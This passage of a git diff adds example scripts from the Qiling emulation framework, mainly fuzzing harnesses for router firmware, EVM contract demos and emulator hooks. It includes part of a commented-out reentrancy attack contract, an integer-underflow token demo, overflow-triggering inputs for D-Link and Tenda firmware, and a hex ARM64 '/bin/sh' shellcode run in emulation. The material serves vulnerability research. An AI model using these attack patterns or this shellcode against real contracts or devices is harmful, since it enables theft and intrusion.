public { +# msg.sender.transfer(this.balance); +# } + +# function () payable { +# if (victim.balance > 1 ether) { +# victim.call(withdraw_id,1 ether); +# } +# } +# } \ No newline at end of file diff --git a/examples/evm/evm_simple_sc.py.orig b/examples/evm/evm_simple_sc.py.orig new file mode 100644 index 000000000..fc99438cb --- /dev/null +++ b/examples/evm/evm_simple_sc.py.orig @@ -0,0 +1,55 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys + +sys.path.append("../..") +from qiling import * + + +def example_run_evm(): + + contract = '0x6060604052341561000f57600080fd5b60405160208061031c833981016040528080519060200190919050508060018190556000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050610299806100836000396000f300606060405260043610610057576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806318160ddd1461005c57806370a0823114610085578063a9059cbb146100d2575b600080fd5b341561006757600080fd5b61006f61012c565b6040518082815260200191505060405180910390f35b341561009057600080fd5b6100bc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610132565b6040518082815260200191505060405180910390f35b34156100dd57600080fd5b610112600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061017a565b604051808215151515815260200191505060405180910390f35b60015481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600080826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403101515156101cb57600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555060019050929150505600a165627a7a7230582098f1551a391a3e65b3ce45cfa2b3fa5f91eea9a3e7181a81454e025ea0d7151c0029' + ql = Qiling(code=contract, archtype="evm") + + # Add Balance Var to the contract + bal = ql.arch.evm.abi.convert(['uint256'], [20]) + contract = contract + bal + + user1 = ql.arch.evm.create_account(balance=100*10**18) + user2 = ql.arch.evm.create_account(balance=100*10**18) + c1 = ql.arch.evm.create_account() + + def check_balance(sender, destination): + call_data = '0x70a08231'+ql.arch.evm.abi.convert(['address'], [sender]) + msg2 = ql.arch.evm.create_message(sender, destination, call_data) + return ql.run(code=msg2) + + # Deploy runtime code + msg0 = ql.arch.evm.create_message(user1, b'', code=contract, contract_address=c1) + ql.run(code=msg0) + + # SMART CONTRACT DEPENDENT: check balance of user1, should be 20 + result = check_balance(user1, c1) + print('User1 balance =', int(result.output.hex()[2:], 16)) + + # SMART CONTRACT DEPENDENT: transform 21 from user1 to user2 + call_data = '0xa9059cbb'+ ql.arch.evm.abi.convert(['address'], [user2]) + \ + ql.arch.evm.abi.convert(['uint256'], [21]) + # print('Transfer Calldata Code: ' + call_data) + msg1 = ql.arch.evm.create_message(user1, c1, call_data) + result = ql.run(code=msg1) + if int(result.output.hex()[2:], 16) == 1: + print('User1 transfered 21 Token to User2') + + # SMART CONTRACT DEPENDENT: User1 balance underflow, MAX - 1 + result = check_balance(user1, c1) + final_balance = int(result.output.hex()[2:], 16) + print('User1 final balance =', final_balance) + # print(' also =', hex(final_balance)) + + +if __name__ == "__main__": + example_run_evm() \ No newline at end of file diff --git a/examples/evm/fuzzing/fuzz.py.orig b/examples/evm/fuzzing/fuzz.py.orig new file mode 100644 index 000000000..a69781044 --- /dev/null +++ b/examples/evm/fuzzing/fuzz.py.orig @@ -0,0 +1,18 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import afl, os, sys +from underflow_test import underflow + +afl.init() + +sys.stdin.seek(0) +in_str = sys.stdin.read().strip() + +if in_str.isdigit(): + fuzz_value = int(in_str) + underflow(fuzz_value) + +os._exit(0) \ No newline at end of file diff --git a/examples/evm/fuzzing/underflow_test.py.orig b/examples/evm/fuzzing/underflow_test.py.orig new file mode 100644 index 000000000..b9ad9a2cc --- /dev/null +++ b/examples/evm/fuzzing/underflow_test.py.orig @@ -0,0 +1,47 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys + +sys.path.append("../../../..") +from qiling import * + + +def underflow(fuzz_balance): + code = '0x6060604052341561000f57600080fd5b60405160208061031c833981016040528080519060200190919050508060018190556000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050610299806100836000396000f300606060405260043610610057576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806318160ddd1461005c57806370a0823114610085578063a9059cbb146100d2575b600080fd5b341561006757600080fd5b61006f61012c565b6040518082815260200191505060405180910390f35b341561009057600080fd5b6100bc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610132565b6040518082815260200191505060405180910390f35b34156100dd57600080fd5b610112600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061017a565b604051808215151515815260200191505060405180910390f35b60015481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600080826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403101515156101cb57600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555060019050929150505600a165627a7a7230582098f1551a391a3e65b3ce45cfa2b3fa5f91eea9a3e7181a81454e025ea0d7151c0029' + ql = Qiling(code=code, archtype="evm") + + # Add Balance Var to the contract + bal = ql.arch.evm.abi.convert(['uint256'], [20]) + contract = code + bal + + user1 = ql.arch.evm.create_account() + user2 = ql.arch.evm.create_account() + c1 = ql.arch.evm.create_account() + + def check_balance(sender, destination): + call_data = '0x70a08231'+ql.arch.evm.abi.convert(['address'], [sender]) + msg2 = ql.arch.evm.create_message(sender, destination, call_data) + return ql.run(code=msg2) + + # Deploy runtime code + msg0 = ql.arch.evm.create_message(user1, b'', code=contract, contract_address=c1) + ql.run(code=msg0) + + # SMART CONTRACT DEPENDENT: check balance of user1, should be 20 + result = check_balance(user1, c1) + + # SMART CONTRACT DEPENDENT: transform 21 from user1 to user2 + call_data = '0xa9059cbb'+ ql.arch.evm.abi.convert(['address'], [user2]) + \ + ql.arch.evm.abi.convert(['uint256'], [fuzz_balance]) + msg1 = ql.arch.evm.create_message(user1, c1, call_data) + result = ql.run(code=msg1) + + # SMART CONTRACT DEPENDENT: User1 balance underflow, MAX - 1 + result = check_balance(user1, c1) + + if int(result.output_data.hex()[2:], 16) > 20: + raise OverflowError() + diff --git a/examples/extensions/idaplugin/custom_script.py.orig b/examples/extensions/idaplugin/custom_script.py.orig new file mode 100644 index 000000000..78ffca21d --- /dev/null +++ b/examples/extensions/idaplugin/custom_script.py.orig @@ -0,0 +1,37 @@ +from qiling import * + +class QILING_IDA(): + def __init__(self): + pass + + def _show_context(self, ql:Qiling): + registers = [ k for k in ql.arch.regs.register_mapping.keys() if type(k) is str ] + for idx in range(0, len(registers), 3): + regs = registers[idx:idx+3] + s = "\t".join(map(lambda v: f"{v:4}: {ql.arch.regs.__getattr__(v):016x}", regs)) + ql.log.info(s) + + def custom_prepare(self, ql:Qiling): + ql.log.info('Context before starting emulation:') + self._show_context(ql) + + def custom_continue(self, ql:Qiling): + ql.log.info('custom_continue hook.') + self._show_context(ql) + hook = [] + return hook + + def custom_step(self, ql:Qiling): + def step_hook(ql, addr, size): + ql.log.info(f"Executing: {hex(addr)}") + self._show_context(ql) + + ql.log.info('custom_step hook') + hook = [] + hook.append(ql.hook_code(step_hook)) + return hook + + def custom_execute_selection(self, ql:Qiling): + ql.log.info('custom execute selection hook') + hook = [] + return hook \ No newline at end of file diff --git a/examples/extensions/r2/hello_r2.py.orig b/examples/extensions/r2/hello_r2.py.orig new file mode 100644 index 000000000..ebd54c452 --- /dev/null +++ b/examples/extensions/r2/hello_r2.py.orig @@ -0,0 +1,50 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys +sys.path.append('..') + +from qiling import Qiling +from qiling.const import QL_VERBOSE +from qiling.extensions.r2 import R2 + + +def func(ql: Qiling, *args, **kwargs): + ql.os.stdout.write(b"=====hooked main=====!\n") + return + +def my_sandbox(path, rootfs): + ql = Qiling(path, rootfs, verbose=QL_VERBOSE.DISASM) + # QL_VERBOSE.DISASM will be monkey-patched when r2 is available + r2 = R2(ql) + + # search bytes sequence using ql.mem.search + addrs = ql.mem.search(b'llo worl') # return all matching results + print(r2.at(addrs[0])) # find corresponding flag at the address and the offset to the flag + # search string using r2 + addr = r2.strings['Hello world!'].vaddr # key must be exactly same + print(addrs[0], addr) + # print xref to string "Hello world!" + print(r2.refto(addr)) + # write to string using ql.mem.write + ql.mem.write(addr, b"No hello, Bye!\x00") + + # get function address and hook it + ql.hook_address(func, r2.functions['main'].offset) + # enable trace powered by r2 symsmap + # r2.enable_trace() + ql.run() + +if __name__ == "__main__": + my_sandbox(["rootfs/x86_windows/bin/x86_hello.exe"], "rootfs/x86_windows") + + # test shellcode mode + ARM64_LIN = bytes.fromhex('420002ca210080d2400080d2c81880d2010000d4e60300aa01020010020280d2681980d2010000d4410080d2420002cae00306aa080380d2010000d4210400f165ffff54e0000010420002ca210001caa81b80d2010000d4020004d27f0000012f62696e2f736800') + print("\nLinux ARM 64bit Shellcode") + ql = Qiling(code=ARM64_LIN, archtype="arm64", ostype="linux", verbose=QL_VERBOSE.DEBUG) + r2 = R2(ql) + # disassemble 32 instructions + print(r2._cmd('pd 32')) + ql.run() diff --git a/examples/extensions/report/hello_x86_windows_json.py.orig b/examples/extensions/report/hello_x86_windows_json.py.orig new file mode 100644 index 000000000..10335480b --- /dev/null +++ b/examples/extensions/report/hello_x86_windows_json.py.orig @@ -0,0 +1,23 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys + +sys.path.append("..") + +from qiling import * +from qiling.const import QL_VERBOSE +from qiling.extensions.report import generate_report + + +def my_sandbox(path, rootfs): + ql = Qiling(path, rootfs, verbose=QL_VERBOSE.DEBUG) + ql.run() + my_json = generate_report(ql) # do something with the json + print(generate_report(ql, pretty_print=True)) # or just print it to console + + +if __name__ == "__main__": + my_sandbox(["rootfs/x86_windows/bin/x86_hello.exe"], "rootfs/x86_windows") diff --git a/examples/fuzzing/dlink_dir815/dir815_mips32el_linux.py.orig b/examples/fuzzing/dlink_dir815/dir815_mips32el_linux.py.orig new file mode 100644 index 000000000..7e9416044 --- /dev/null +++ b/examples/fuzzing/dlink_dir815/dir815_mips32el_linux.py.orig @@ -0,0 +1,63 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +# Everything about the bug and firmware https://www.exploit-db.com/exploits/33863 + +import os,sys + +sys.path.append("../../..") +from qiling import * +from qiling.const import QL_VERBOSE +from qiling.extensions.afl import ql_afl_fuzz + +def main(input_file, enable_trace=False): + + env_vars = { + "REQUEST_METHOD": "POST", + "REQUEST_URI": "/hedwig.cgi", + "CONTENT_TYPE": "application/x-www-form-urlencoded", + "REMOTE_ADDR": "127.0.0.1", + "HTTP_COOKIE": "uid=1234&password="+"A" * 0x1000, # fill up + # "CONTENT_LENGTH": "8", # no needed + } + + ql = Qiling(["./rootfs/htdocs/web/hedwig.cgi"], "./rootfs", + verbose=QL_VERBOSE.DEBUG, env=env_vars, + console = True if enable_trace else False) + + def place_input_callback(ql: Qiling, input: bytes, _: int): + env_var = ("HTTP_COOKIE=uid=1234&password=").encode() + env_vars = env_var + input + b"\x00" + (ql.path).encode() + b"\x00" + ql.mem.write(ql.target_addr, env_vars) + + def start_afl(_ql: Qiling): + + """ + Callback from inside + """ + ql_afl_fuzz(_ql, input_file=input_file, place_input_callback=place_input_callback, exits=[ql.os.exit_point]) + + addr = ql.mem.search("HTTP_COOKIE=uid=1234&password=".encode()) + ql.target_addr = addr[0] + + main_addr = ql.os.elf_entry + ql.hook_address(callback=start_afl, address=main_addr) + + try: + ql.run() + os._exit(0) + except: + if enable_trace: + print("\nFuzzer Went Shit") + os._exit(0) + + +if __name__ == "__main__": + if len(sys.argv) == 1: + raise ValueError("No input file provided.") + if len(sys.argv) > 2 and sys.argv[1] == "-t": + main(sys.argv[2], enable_trace=True) + else: + main(sys.argv[1]) diff --git a/examples/fuzzing/linux_x8664/fuzz_x8664_linux.py.orig b/examples/fuzzing/linux_x8664/fuzz_x8664_linux.py.orig new file mode 100755 index 000000000..c7fb84db8 --- /dev/null +++ b/examples/fuzzing/linux_x8664/fuzz_x8664_linux.py.orig @@ -0,0 +1,76 @@ +#!/usr/bin/env python3 + +"""Simple example of how to use Qiling together with AFLplusplus. + +Steps: + o Clone and build AFL++ + $ git clone https://github.com/AFLplusplus/AFLplusplus.git + $ make -C AFLplusplus + + o Build Unicorn support + $ ( cd AFLplusplus/unicorn_mode ; ./build_unicorn_support.sh ) + + o Start fuzzing + $ AFL_AUTORESUME=1 AFL_PATH="$(realpath ./AFLplusplus)" PATH="$AFL_PATH:$PATH" afl-fuzz -i afl_inputs -o afl_outputs -U -- python3 ./fuzz_x8664_linux.py @@ + + o Cleanup results + $ rm -fr afl_outputs/default/ +""" + +# No more need for importing unicornafl, try afl.ql_afl_fuzz instead! + +import os +import sys + +from typing import Optional + +sys.path.append("../../..") +from qiling import Qiling +from qiling.const import QL_VERBOSE +from qiling.extensions import pipe +from qiling.extensions import afl + +def main(input_file: str): + ql = Qiling(["./x8664_fuzz"], "../../rootfs/x8664_linux", + verbose=QL_VERBOSE.OFF, # keep qiling logging off + console=False) # thwart program output + + # redirect stdin to our mock to feed it with incoming fuzzed keystrokes + ql.os.stdin = pipe.SimpleInStream(sys.stdin.fileno()) + + def place_input_callback(ql: Qiling, input: bytes, persistent_round: int) -> Optional[bool]: + """Feed generated stimuli to the fuzzed target. + + This method is called with every fuzzing iteration. + """ + + # feed fuzzed input to our mock stdin + ql.os.stdin.write(input) + + # signal afl to proceed with this input + return True + + def start_afl(ql: Qiling): + """Have Unicorn fork and start instrumentation. + """ + + afl.ql_afl_fuzz(ql, input_file=input_file, place_input_callback=place_input_callback, exits=[ql.os.exit_point]) + + # get image base address + ba = ql.loader.images[0].base + + # make the process crash whenever __stack_chk_fail@plt is about to be called. + # this way afl will count stack protection violations as crashes + ql.hook_address(callback=lambda x: os.abort(), address=ba + 0x126e) + + # set afl instrumentation [re]starting point. we set it to 'main' + ql.hook_address(callback=start_afl, address=ba + 0x1275) + + # okay, ready to roll + ql.run() + +if __name__ == "__main__": + if len(sys.argv) == 1: + raise ValueError("No input file provided.") + + main(sys.argv[1]) diff --git a/examples/fuzzing/linux_x8664/libfuzzer_x8664_linux.py.orig b/examples/fuzzing/linux_x8664/libfuzzer_x8664_linux.py.orig new file mode 100755 index 000000000..e8e3e56ff --- /dev/null +++ b/examples/fuzzing/linux_x8664/libfuzzer_x8664_linux.py.orig @@ -0,0 +1,41 @@ +#!/usr/bin/python3 + +from fuzzercorn import * +from unicorn import * +from qiling import Qiling +from qiling.extensions import pipe + +import sys, os, ctypes + +class SimpleFuzzer: + + def run(self): + ql = Qiling(["./x8664_fuzz"], "../../rootfs/x8664_linux", console=False) + ba = ql.loader.images[0].base + try: + # Only instrument the function `fun`, so we don't need to instrument libc and ld + FuzzerCornFuzz(ql.uc, sys.argv, [ql.os.exit_point], self.place_input, self.init, UserData=ql, Ranges=[(ba + 0x1179, ba + 0x122B)], CountersCount=4096) + except Exception as ex: + os.abort() # Quick exit + + def place_input(self, uc: Uc, data: ctypes.Array, ql: Qiling): + ql.restore(self.snapshot) + ql.os.stdin = pipe.SimpleInStream(1) + ql.os.stdin.write(bytes(data)) + return 1 + + def init(self, uc: Uc, argv: list, ql: Qiling): + ba = ql.loader.images[0].base + ql.hook_address(callback=lambda x: os.abort(), address=ba + 0x1225) # ___stack_chk_fail + ql.run(end=ba + 0x122c) # Run to main. + + # Save a snapshot. + self.snapshot = ql.save() + return 0 + + +if __name__ == "__main__": + # chmod +x ./libfuzzer_x8664_linux.py + # ./libfuzzer_x8664_linux.py -jobs=6 -workers=6 + SimpleFuzzer().run() + diff --git a/examples/fuzzing/qnx_arm/fuzz_arm_qnx.py.orig b/examples/fuzzing/qnx_arm/fuzz_arm_qnx.py.orig new file mode 100755 index 000000000..2e13e2294 --- /dev/null +++ b/examples/fuzzing/qnx_arm/fuzz_arm_qnx.py.orig @@ -0,0 +1,90 @@ +#!/usr/bin/env python3 +""" +Simple example of how to use Qiling together with AFLplusplus. +This is tested with the recent Qiling framework (the one you cloned), +afl++ from https://github.com/AFLplusplus/AFLplusplus + +After building afl++, make sure you install `unicorn_mode/setup_unicorn.sh` + +Then, run this file using afl++ unicorn mode with +afl-fuzz -i ./afl_inputs -o ./afl_outputs -m none -U -- python3 ./fuzz_x8664_linux.py @@ +""" + +# No more need for importing unicornafl, try ql.afl_fuzz instead! + +import sys, os +from binascii import hexlify + +sys.path.append("../../..") +from qiling import * +from qiling.extensions import pipe +from qiling.extensions.afl import ql_afl_fuzz + +def main(input_file, enable_trace=False): + ql = Qiling(["./arm_fuzz"], "../../rootfs/arm_qnx", console=enable_trace) + + ql.os.stdin = pipe.SimpleInStream(sys.stdin.fileno()) + + if not enable_trace: + ql.os.stdout = pipe.NullOutStream(sys.stdout.fileno()) + ql.os.stderr = pipe.NullOutStream(sys.stderr.fileno()) + + def place_input_callback(ql: Qiling, input: bytes, _: int): + ql.os.stdin.write(input) + return True + + def start_afl(_ql: Qiling): + ql_afl_fuzz(_ql, input_file=input_file, place_input_callback=place_input_callback, exits=[ql.os.exit_point]) + + LIBC_BASE = int(ql.profile.get("OS32", "interp_address"), 16) + + # crash in case we reach SignalKill + ql.hook_address(callback=lambda x: os.abort(), address=LIBC_BASE + 0x38170) + + # Add hook at main() that will fork Unicorn and start instrumentation. + main_addr = 0x08048aa0 + ql.hook_address(callback=start_afl, address=main_addr) + + if enable_trace: + # The following lines are only for `-t` debug output + md = ql.arch.disassembler + count = [0] + + def spaced_hex(data): + return b' '.join(hexlify(data)[i:i+2] for i in range(0, len(hexlify(data)), 2)).decode('utf-8') + + def disasm(count, ql, address, size): + buf = ql.mem.read(address, size) + try: + for i in md.disasm(buf, address): + return "{:08X}\t{:08X}: {:24s} {:10s} {:16s}".format(count[0], i.address, spaced_hex(buf), i.mnemonic, + i.op_str) + except: + import traceback + print(traceback.format_exc()) + + def trace_cb(ql, address, size, count): + rtn = '{:100s}'.format(disasm(count, ql, address, size)) + print(rtn) + count[0] += 1 + + ql.hook_code(trace_cb, count) + + # okay, ready to roll. + # try: + ql.run() + # except Exception as ex: + # # Probable unicorn memory error. Treat as crash. + # print(ex) + # os.abort() + + os._exit(0) # that's a looot faster than tidying up. + + +if __name__ == "__main__": + if len(sys.argv) == 1: + raise ValueError("No input file provided.") + if len(sys.argv) > 2 and sys.argv[1] == "-t": + main(sys.argv[2], enable_trace=True) + else: + main(sys.argv[1]) diff --git a/examples/fuzzing/stm32f429/fuzz.py.orig b/examples/fuzzing/stm32f429/fuzz.py.orig new file mode 100644 index 000000000..3f90bd212 --- /dev/null +++ b/examples/fuzzing/stm32f429/fuzz.py.orig @@ -0,0 +1,56 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import os +import sys + +from typing import Any, Optional + +sys.path.append("../../..") +from qiling.core import Qiling +from qiling.const import QL_VERBOSE + +from qiling.extensions.afl import ql_afl_fuzz_custom +from qiling.extensions.mcu.stm32f4 import stm32f429 + +from unicorn import UC_ERR_OK, UcError + +def main(input_file: str): + ql = Qiling(["../../rootfs/mcu/stm32f429/bof.elf"], + archtype="cortex_m", + env=stm32f429, + ostype='mcu', + verbose=QL_VERBOSE.DISABLED) + + ql.hw.create('rcc') + ql.hw.create('usart2') + ql.hw.create('usart3') + + ql.fast_mode = True + + def place_input_callback(ql: Qiling, input_bytes: bytes, persistent_round: int) -> Optional[bool]: + """Called with every newly generated input.""" + + ql.hw.usart3.send(input_bytes) + + return True + + def fuzzing_callback(ql: Qiling): + ql.run(end=0x80006d9) + + return UC_ERR_OK + + ql.uc.ctl_exits_enabled(True) + ql.uc.ctl_set_exits([0x80006d9]) + + ql_afl_fuzz_custom(ql, input_file, place_input_callback, fuzzing_callback=fuzzing_callback) + + os.exit(0) + +if __name__ == "__main__": + if len(sys.argv) == 1: + raise ValueError("No input file provided.") + + main(sys.argv[1]) \ No newline at end of file diff --git a/examples/fuzzing/tenda_ac15/fuzz_tendaac15_httpd.py.orig b/examples/fuzzing/tenda_ac15/fuzz_tendaac15_httpd.py.orig new file mode 100644 index 000000000..d30d01de4 --- /dev/null +++ b/examples/fuzzing/tenda_ac15/fuzz_tendaac15_httpd.py.orig @@ -0,0 +1,63 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + + +# 1. Download AC15 Firmware from https://down.tenda.com.cn/uploadfile/AC15/US_AC15V1.0BR_V15.03.05.19_multi_TD01.zip +# 2. unzip +# 3. binwalk -e US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin +# 4. locate squashfs-root +# 5. rm -rf webroot && mv webroot_ro webroot +# 5. mv etc_ro etc + +import os, pickle, socket, sys, threading + +sys.path.append("../../../") +from qiling import * +from qiling.const import QL_VERBOSE +from qiling.extensions.afl import ql_afl_fuzz + +def patcher(ql): + br0_addr = ql.mem.search("br0".encode() + b'\x00') + for addr in br0_addr: + ql.mem.write(addr, b'lo\x00') + + +def main(input_file, enable_trace=False): + ql = Qiling(["rootfs/bin/httpd"], "rootfs", verbose=QL_VERBOSE.DEBUG, console = True if enable_trace else False) + + # save current emulated status + ql.restore(snapshot="snapshot.bin") + + # return should be 0x7ff3ca64 + fuzz_mem=ql.mem.search(b"CCCCAAAA") + target_address = fuzz_mem[0] + + def place_input_callback(_ql: Qiling, input: bytes, _): + _ql.mem.write(target_address, input) + + def start_afl(_ql: Qiling): + """ + Callback from inside + """ + ql_afl_fuzz(_ql, input_file=input_file, place_input_callback=place_input_callback, exits=[ql.os.exit_point]) + + ql.hook_address(callback=start_afl, address=0x10930+8) + + try: + ql.run(begin = 0x10930+4, end = 0x7a0cc+4) + os._exit(0) + except: + if enable_trace: + print("\nFuzzer Went Shit") + os._exit(0) + +if __name__ == "__main__": + if len(sys.argv) == 1: + raise ValueError("No input file provided.") + + if len(sys.argv) > 2 and sys.argv[1] == "-t": + main(sys.argv[2], enable_trace=True) + else: + main(sys.argv[1]) diff --git a/examples/fuzzing/tenda_ac15/saver_tendaac15_httpd.py.orig b/examples/fuzzing/tenda_ac15/saver_tendaac15_httpd.py.orig new file mode 100644 index 000000000..ca018af06 --- /dev/null +++ b/examples/fuzzing/tenda_ac15/saver_tendaac15_httpd.py.orig @@ -0,0 +1,78 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + + +# 1. Download AC15 Firmware from https://down.tenda.com.cn/uploadfile/AC15/US_AC15V1.0BR_V15.03.05.19_multi_TD01.zip +# 2. unzip +# 3. binwalk -e US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin +# 4. locate squashfs-root +# 5. rm -rf webroot && mv webroot_ro webroot +# +# notes: we are using rootfs in this example, so rootfs = squashfs-root +# + +import ctypes, os, pickle, socket, sys, threading +sys.path.append("..") +from qiling import * +from qiling.const import QL_VERBOSE + +def nvram_listener(): + server_address = 'rootfs/var/cfm_socket' + data = "" + + try: + os.unlink(server_address) + except OSError: + if os.path.exists(server_address): + raise + + # Create UDS socket + sock = socket.socket(socket.AF_UNIX,socket.SOCK_STREAM) + sock.bind(server_address) + sock.listen(1) + + while True: + connection, client_address = sock.accept() + try: + while True: + data += str(connection.recv(1024)) + + if "lan.webiplansslen" in data: + connection.send('192.168.170.169'.encode()) + else: + break + data = "" + finally: + connection.close() + + +def save_context(ql, *args, **kw): + ql.save(cpu_context=False, snapshot="snapshot.bin") + +def patcher(ql): + br0_addr = ql.mem.search("br0".encode() + b'\x00') + for addr in br0_addr: + ql.mem.write(addr, b'lo\x00') + + +def check_pc(ql): + print("=" * 50) + print("Hit fuzz point, stop at PC = 0x%x" % ql.arch.regs.arch_pc) + print("=" * 50) + ql.emu_stop() + + +def my_sandbox(path, rootfs): + ql = Qiling(path, rootfs, verbose=QL_VERBOSE.DEBUG) + ql.add_fs_mapper("/dev/urandom","/dev/urandom") + ql.hook_address(save_context, 0x10930) + ql.hook_address(patcher, ql.loader.elf_entry) + ql.hook_address(check_pc, 0x7a0cc) + ql.run() + +if __name__ == "__main__": + nvram_listener_therad = threading.Thread(target=nvram_listener, daemon=True) + nvram_listener_therad.start() + my_sandbox(["rootfs/bin/httpd"], "rootfs") diff --git a/examples/hello_8086_dos.py.orig b/examples/hello_8086_dos.py.orig new file mode 100644 index 000000000..c241e42ca --- /dev/null +++ b/examples/hello_8086_dos.py.orig @@ -0,0 +1,14 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys +sys.path.append("..") + +from qiling import Qiling +from qiling.const import QL_VERBOSE + +if __name__ == "__main__": + ql = Qiling(["rootfs/8086/dos/HI.DOS_COM"], "rootfs/8086/dos", verbose=QL_VERBOSE.DEFAULT) + ql.run() diff --git a/examples/hello_arm_linux_custom_syscall.py.orig b/examples/hello_arm_linux_custom_syscall.py.orig new file mode 100644 index 000000000..6ae06db2c --- /dev/null +++ b/examples/hello_arm_linux_custom_syscall.py.orig @@ -0,0 +1,45 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys +sys.path.append("..") + +from qiling import Qiling +from qiling.const import QL_VERBOSE + +# customized system calls always use the same arguments list as the original ones, +# but with a Qiling instance as first argument +def my_syscall_write(ql: Qiling, fd: int, buf: int, count: int): + try: + # read data from emulated memory + data = ql.mem.read(buf, count) + + # select the emulated file object that corresponds to the requested + # file descriptor + fobj = ql.os.fd[fd] + + # write the data into the file object, if it supports write operations + if hasattr(fobj, 'write'): + fobj.write(data) + except: + ret = -1 + else: + ret = count + + ql.log.info(f'my_syscall_write({fd}, {buf:#x}, {count}) = {ret}') + + return ret + +if __name__ == "__main__": + ql = Qiling([r'rootfs/arm_linux/bin/arm_hello'], r'rootfs/arm_linux', verbose=QL_VERBOSE.DEBUG) + + # replacing a system call with a custom implementation. + # note that system calls may be referred to either by their name or number. + ql.os.set_syscall(0x04, my_syscall_write) + + # an possible alternative: refer to a syscall by its name + #ql.os.set_syscall('write', my_syscall_write) + + ql.run() diff --git a/examples/hello_arm_linux_debug.py.orig b/examples/hello_arm_linux_debug.py.orig new file mode 100644 index 000000000..4c7e502c2 --- /dev/null +++ b/examples/hello_arm_linux_debug.py.orig @@ -0,0 +1,21 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys +sys.path.append("..") + +from qiling import Qiling +from qiling.const import QL_VERBOSE + +if __name__ == "__main__": + ql = Qiling([r'rootfs/arm_linux/bin/arm_hello'], r'rootfs/arm_linux', verbose=QL_VERBOSE.DEBUG) + + ql.debugger = "qdb" # enable qdb without options + + # other possible alternatives: + # ql.debugger = "qdb::rr" # switch on record and replay with rr + # ql.debugger = "qdb:0x1030c" # enable qdb and setup breakpoin at 0x1030c + + ql.run() diff --git a/examples/hello_arm_qnx.py.orig b/examples/hello_arm_qnx.py.orig new file mode 100644 index 000000000..1bc5863a9 --- /dev/null +++ b/examples/hello_arm_qnx.py.orig @@ -0,0 +1,13 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys +sys.path.append("..") + +from qiling import Qiling + +if __name__ == "__main__": + ql = Qiling(["rootfs/arm_qnx/bin/hello_static"], "rootfs/arm_qnx") + ql.run() diff --git a/examples/hello_arm_qnx_customapi.py.orig b/examples/hello_arm_qnx_customapi.py.orig new file mode 100644 index 000000000..8175e1be9 --- /dev/null +++ b/examples/hello_arm_qnx_customapi.py.orig @@ -0,0 +1,37 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys +sys.path.append("..") + +from qiling import Qiling +from qiling.const import QL_INTERCEPT, QL_CALL_BLOCK +from qiling.os.const import STRING + +def my_puts_onenter(ql: Qiling): + params = ql.os.resolve_fcall_params({'s': STRING}) + + print(f'puts("{params["s"]}")') + + return QL_CALL_BLOCK + +def my_printf_onenter(ql: Qiling): + params = ql.os.resolve_fcall_params({'s': STRING}) + + print(f'printf("{params["s"]}")') + + return QL_CALL_BLOCK + +def my_puts_onexit(ql: Qiling): + print(f'after puts') + + return QL_CALL_BLOCK + +if __name__ == "__main__": + ql = Qiling(["rootfs/arm_qnx/bin/hello_static"], "rootfs/arm_qnx") + ql.os.set_api('puts', my_puts_onenter, QL_INTERCEPT.ENTER) + ql.os.set_api('printf', my_printf_onenter, QL_INTERCEPT.ENTER) + ql.os.set_api('puts', my_puts_onexit, QL_INTERCEPT.EXIT) + ql.run() diff --git a/examples/hello_arm_set_filter.py.orig b/examples/hello_arm_set_filter.py.orig new file mode 100644 index 000000000..a8b0d9931 --- /dev/null +++ b/examples/hello_arm_set_filter.py.orig @@ -0,0 +1,14 @@ +#!/usr/bin/env python3 